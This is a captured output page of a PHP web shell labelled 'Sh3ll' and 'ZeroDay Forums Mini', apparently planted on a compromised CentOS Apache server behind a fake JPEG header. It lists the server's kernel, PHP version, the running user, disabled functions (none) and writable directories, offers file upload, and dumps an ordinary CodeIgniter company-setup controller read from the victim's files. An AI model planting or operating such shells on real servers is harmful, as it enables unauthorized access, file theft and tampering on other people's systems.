����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/adimi/application/modules/dashboard/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/adimi/application/modules/dashboard/controllers/Company_setup.php
<?php if (!defined('BASEPATH')) exit('No direct script access allowed');

class Company_setup extends MX_Controller
{

    public $company_id;

    function __construct()
    {

        $this->load->library('auth');
        $this->load->library('dashboard/lcompany');
        $this->load->library('session');
        $this->load->model('dashboard/Companies');
        $this->auth->check_user_auth();
    }

    #==============Company page load===========#
    public function index()
    {
        $this->manage_company();
    }

    #===============Company Search Item===========#
    public function company_search_item()
    {
        $company_id = $this->input->post('company_id',TRUE);
        $content = $this->lcompany->company_search_item($company_id);
        $this->template_lib->full_admin_html_view($content);
    }

    #================Manage Company==============#
    public function manage_company()
    {
        $this->permission->check_label('manage_company')->read()->redirect();

        $content = $this->lcompany->company_list();
        $this->template_lib->full_admin_html_view($content);
    }

    #===============Company update form================#
    public function company_update_form($company_id)
    {   
        $this->permission->check_label('manage_company')->update()->redirect();

        $content = $this->lcompany->company_edit_data($company_id);
        $this->template_lib->full_admin_html_view($content);
    }

    #===============Company update===================#
    public function company_update()
    {
        $this->permission->check_label('manage_company')->update()->redirect();

        $company_id = $this->input->post('company_id',TRUE);
        $data = array(
            'company_id' => $company_id,
            'company_name' => $this->input->post('company_name',TRUE),
            'email' => $this->input->post('email',TRUE),
            'address' => $this->input->post('address',TRUE),
            'mobile' => $this->input->post('mobile',TRUE),
            'website' => $this->input->post('website',TRUE),
            'status' => 1
        );
        $this->Companies->update_company($data, $company_id);
        $this->session->set_userdata(array('message' => display('successfully_updated')));
        redirect(base_url('dashboard/Company_setup/manage_company'));
    }
}

ZeroDay Forums Mini